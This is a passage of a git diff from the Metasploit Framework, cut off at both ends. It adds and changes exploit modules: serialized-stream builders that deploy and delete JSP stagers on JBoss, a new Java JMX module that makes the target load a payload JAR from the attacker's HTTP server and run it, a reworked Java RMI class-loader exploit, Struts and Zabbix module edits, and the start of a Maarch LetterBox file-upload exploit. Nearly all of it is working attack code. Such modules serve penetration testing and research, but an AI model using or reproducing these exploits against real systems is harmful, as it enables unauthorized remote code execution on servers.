jsp_name), + Rex::Java::Serialization::Model::Utf.new(nil, extension), + Rex::Java::Serialization::Model::Utf.new(nil, data), + builder.new_object( + name: 'java.lang.Boolean', + serial: 0xcd207280d59cfaee, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [['boolean', 'value']], + data: [['boolean', 0]] + ) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'boolean') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_delete_stager_file(opts = {}) + dir = opts[:dir] || '' + file = opts[:file] || '' + extension = opts[:extension] || '.jsp' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'remove') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, dir), + Rex::Java::Serialization::Model::Utf.new(nil, file), + Rex::Java::Serialization::Model::Utf.new(nil, extension) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_invocation(stream_argument) + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02") + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_invocation_deploy(stream_argument) + builder = Rex::Java::Serialization::Builder.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03") + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME') + stream.contents << builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_marshalled_invocation + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledInvocation', + serial: 0xf6069527413ea4be, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_marshalled_value + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledValue', + serial: 0xeacce0d1f44ad099, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_invocation_key(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationKey', + serial: 0xb8fb7284d79385f9, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_invocation_type(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationType', + serial: 0x59a73a1ca52b7cbf, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_integer(value) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'java.lang.Integer', + serial: 0x12e2a0a4f7818738, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'java.lang.Number', + serial: 0x86ac951d0b94e08b, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + fields: [ + ['int', 'value'] + ], + data:[ + ['int', value] + ] + ) + end + + def build_null_stream + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [Rex::Java::Serialization::Model::NullReference.new] + + stream + end + end diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 3ecb7193d5..df4cb78bdf 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -95,11 +95,15 @@ class Metasploit3 < Msf::Exploit::Remote dropper end - def dump_line(uri, cmd = "") + def dump_line(uri, cmd = '') res = send_request_cgi({ - 'uri' => uri+cmd, + 'uri' => uri, + 'encode_params' => false, + 'vars_get' => { + cmd => '' + }, 'version' => '1.1', - 'method' => 'GET', + 'method' => 'GET' }) res @@ -232,8 +236,11 @@ class Metasploit3 < Msf::Exploit::Remote # Dump the JSP to the log file print_status("#{peer} - Dumping JSP into the logfile...") random_request = rand_text_alphanumeric(3 + rand(3)) + + uri = normalize_uri('/', random_request) + jsp.each_line do |l| - unless dump_line(random_request, l.chomp) + unless dump_line(uri, l.chomp) fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...") end end diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index 697e2ba2e7..2fa72b9dfe 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -79,7 +79,7 @@ class Metasploit4 < Msf::Exploit::Remote req = c.request_cgi({ 'method' => 'POST', 'uri' => '/zabbix/', - 'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in' + 'data' => "request=&name=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&enter=Sign+in" }) login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"])) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb new file mode 100644 index 0000000000..0e96e0af72 --- /dev/null +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -0,0 +1,369 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Java::Jmx + include Msf::Exploit::Remote::HttpServer + include Msf::Java::Rmi::Client + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Java JMX Server Insecure Configuration Java Code Execution', + 'Description' => %q{ + This module takes advantage a Java JMX interface insecure configuration, which would + allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication + disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while + interfaces with authentication enabled will be vulnerable only if a weak configuration + is deployed (allowing to use javax.management.loading.MLet, having a security manager + allowing to load a ClassLoader MBean, etc.). + }, + 'Author' => + [ + 'Braden Thomas', # Attack vector discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], + ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'Targets' => + [ + [ 'Generic (Java Payload)', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 22 2013' + )) + + register_options([ + Opt::RPORT(1617) + ], self.class) + + end + + def on_request_uri(cli, request) + if request.uri =~ /mlet$/ + jar = "#{rand_text_alpha(8 + rand(8))}.jar" + + mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" " + mlet << "archive=\"#{jar}\" " + mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" " + mlet << "codebase=\"#{get_uri}\"></mlet></HTML>" + send_response(cli, mlet, + { + 'Content-Type' => 'application/octet-stream', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to request for mlet") + elsif request.uri =~ /\.jar$/i + p = regenerate_payload(cli) + jar = p.encoded_jar + paths = [ + ["metasploit", "JMXPayloadMBean.class"], + ["metasploit", "JMXPayload.class"], + ] + jar.add_files(paths, [ Msf::Config.data_directory, "java" ]) + + send_response(cli, jar.pack, + { + 'Content-Type' => 'application/java-archive', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to request for payload JAR") + end + end + + def check + connect + + unless is_rmi? + return Exploit::CheckCode::Safe + end + + mbean_server = discover_endpoint + disconnect + if mbean_server.nil? + return Exploit::CheckCode::Safe + end + + connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + return Exploit::CheckCode::Unknown + end + + jmx_endpoint = handshake(mbean_server) + disconnect + if jmx_endpoint.nil? + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Appears + end + + def exploit + @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" + connect + + print_status("#{peer} - Sending RMI Header...") + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") + end + + print_status("#{peer} - Discoverig the JMXRMI endpoint...") + mbean_server = discover_endpoint + disconnect + if mbean_server.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") + else + print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") + end + + connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") + end + + print_status("#{peer} - Proceeding with handshake...") + jmx_endpoint = handshake(mbean_server) + if jmx_endpoint.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server") + else + print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") + end + + print_status("#{peer} - Loading payload...") + unless load_payload(jmx_endpoint) + fail_with(Failure::Unknown, "#{peer} - Failed to load the payload") + end + + print_status("#{peer} - Executing payload...") + invoke_run_stream = invoke_stream( + obj_id: jmx_endpoint[:id].chop, + object: "#{@mlet}:name=jmxpayload,id=1", + method: 'run' + ) + send_call(call_data: invoke_run_stream) + + disconnect + end + + def is_rmi? + send_header + ack = recv_protocol_ack + if ack.nil? + return false + end + + true + end + + def discover_endpoint + send_call(call_data: discovery_stream) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Discovery request didn't answer") + return nil + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected JMXRMI discovery answer") + return nil + end + + case answer + when 'javax.management.remote.rmi.RMIServerImpl_Stub' + mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") + return nil + end + + mbean_server + end + + def handshake(mbean) + vprint_status("#{peer} - Sending handshake / authentication...") + + send_call(call_data: handshake_stream(mbean[:id].chop)) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Failed to send handshake") + return nil + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected handshake answer") + return nil + end + + case answer + when 'java.lang.SecurityException' + vprint_error("#{peer} - JMX end point requires authentication, but it failed") + return nil + when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + vprint_good("#{peer} - Handshake completed, proceeding...") + conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - Handshake returned unexpected object #{answer}") + return nil + end + + conn_stub + end + + def load_payload(conn_stub) + vprint_status("#{peer} - Getting JMXPayload instance...") + get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1") + send_call(call_data: get_payload_instance) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to getObjectInstance failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false + end + + case answer + when 'javax.management.InstanceNotFoundException' + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") + return load_payload_from_url(conn_stub) + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - JMXPayload instance found, using it") + return true + else + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false + end + end + + def load_payload_from_url(conn_stub) + vprint_status("Starting service...") + start_service + + vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") + create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') + send_call(call_data: create_mbean) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to createMBean failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected createMBean answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already exists") + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - javax.management.loading.MLet created") + when 'java.lang.SecurityException' + vprint_error("#{peer} - The provided user hasn't enough privileges") + return false + else + vprint_error("#{peer} - createMBean returned unexpected object #{answer}") + return false + end + + vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") + get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') + send_call(call_data: get_mlet_instance) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to getObjectInstance failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already found") + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - javax.management.loading.MLet instance created") + else + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false + end + + vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") + + invoke_mlet_get_mbean_from_url = invoke_stream( + obj_id: conn_stub[:id].chop, + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "#{get_uri}/mlet" } + ) + send_call(call_data: invoke_mlet_get_mbean_from_url) + return_data = recv_return + + vprint_status("Stopping service...") + stop_service + + if return_data.nil? + vprint_error("#{peer} - The call to getMBeansFromURL failed") + return false + end + + answer = extract_object(return_data, 3) + + if answer.nil? + vprint_error("#{peer} - Unexpected getMBeansFromURL answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - The remote payload was already loaded... okey, using it!") + return true + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - The remote payload has been loaded!") + return true + else + vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") + return false + end + end + +end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index ca24e3f50f..53697867d1 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::Tcp + include Msf::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer def initialize(info = {}) @@ -115,42 +115,33 @@ class Metasploit3 < Msf::Exploit::Remote def primer connect + print_status("#{peer} - Sending RMI Header...") + send_header + ack = recv_protocol_ack + if ack.nil? + fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") + end + jar = rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" new_url = get_uri + '/' + jar - packet = gen_rmi_packet - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - idx = packet.index(find_me) - len = [new_url.length].pack("n") - # Now replace it with the new url - packet[idx, find_me.length] = len + new_url - # write out minimal header and packet - print_status("#{peer} - Connected and sending request for #{new_url}") - #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet); - sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet) + print_status("#{peer} - Sending RMI Call...") + send_call(call_data: build_gc_call_data(new_url)) + return_data = recv_return - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break unless res - break if session_created? - buf << res + if return_data.nil? && !session_created? + fail_with(Failure::Unknown, 'RMI Call failed') + end + + if return_data && loader_disabled?(return_data) + fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') + end + + if return_data && class_not_found?(return_data) + fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end disconnect - - if buf =~ /RMI class loader disabled/ - fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled") - end - - if buf =~ /java.lang.ClassNotFoundException/ - fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload") - end - - print_good("#{peer} - Target may be exploitable...") end def on_request_uri(cli, request) @@ -175,22 +166,96 @@ class Metasploit3 < Msf::Exploit::Remote end end - - def gen_rmi_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" - end - def autofilter return true end + def loader_disabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end + + false + end + + def class_not_found?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + return true + end + end + + false + end + + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream + end + end diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index 61b785aa26..6f1f3652da 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index b3c0b8d8a6..24a37cc018 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client # For our customized version of session_setup_no_ntlmssp CONST = Rex::Proto::SMB::Constants diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb index 988ce5768c..04c141d2a7 100644 --- a/modules/exploits/netware/smb/lsass_cifs.rb +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index b98c1693e0..3eca9265e6 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index 703bda17bc..bcd15fbb39 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb index 432e9e4276..4445b77033 100644 --- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb +++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb index b2f41017c5..926c665dce 100644 --- a/modules/exploits/solaris/samba/trans2open.rb +++ b/modules/exploits/solaris/samba/trans2open.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb new file mode 100644 index 0000000000..fc9b180f61 --- /dev/null +++ b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'uri' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Maarch LetterBox Unrestricted File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of + 